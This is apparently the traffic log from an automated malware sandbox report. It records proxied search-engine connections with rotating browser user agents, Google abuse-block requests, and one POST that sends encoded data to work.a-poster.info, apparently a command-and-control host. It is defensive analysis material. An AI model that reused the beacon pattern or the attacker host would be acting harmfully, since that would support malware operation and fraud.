Source: global traffic	HTTP traffic detected: GET http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAACookie: 1P_JAR=2023-12-10-16; AEC=Ackid1TUsXHZaGtNbDfzLA9mAfbXpaSraxKliPlz-amxEg2oIyHOewBuIwReferer: http://www.google.com/Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateConnection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAACookie: 1P_JAR=2023-12-10-16; AEC=Ackid1TUsXHZaGtNbDfzLA9mAfbXpaSraxKliPlz-amxEg2oIyHOewBuIwReferer: http://www.google.com/Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.googleadservices.com:443 HTTP/1.1Host: www.googleadservices.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT 3310.xg4ken.com:443 HTTP/1.1Host: 3310.xg4ken.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT 3310.xg4ken.com:443 HTTP/1.1Host: 3310.xg4ken.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.yahoo.com:443 HTTP/1.1Host: www.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT guce.yahoo.com:443 HTTP/1.1Host: guce.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.yahoo.com:443 HTTP/1.1Host: www.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.55Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.55Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT consent.yahoo.com:443 HTTP/1.1Host: consent.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.55Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT consent.yahoo.com:443 HTTP/1.1Host: consent.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT guce.yahoo.com:443 HTTP/1.1Host: guce.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT be.search.yahoo.com:443 HTTP/1.1Host: be.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.yahoo.com:443 HTTP/1.1Host: www.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT guce.yahoo.com:443 HTTP/1.1Host: guce.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT consent.yahoo.com:443 HTTP/1.1Host: consent.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT consent.yahoo.com:443 HTTP/1.1Host: consent.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT guce.yahoo.com:443 HTTP/1.1Host: guce.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT uk.search.yahoo.com:443 HTTP/1.1Host: uk.search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST http://work.a-poster.info:25000/ HTTP/1.1Connection: closeContent-Length: 21Content-Type: application/x-www-form-urlencodedHost: work.a-poster.info:25000User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Data Raw: 64 61 74 61 3d 65 63 63 62 63 66 62 61 64 66 62 64 66 63 63 66 Data Ascii: data=eccbcfbadfbdfccf

Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
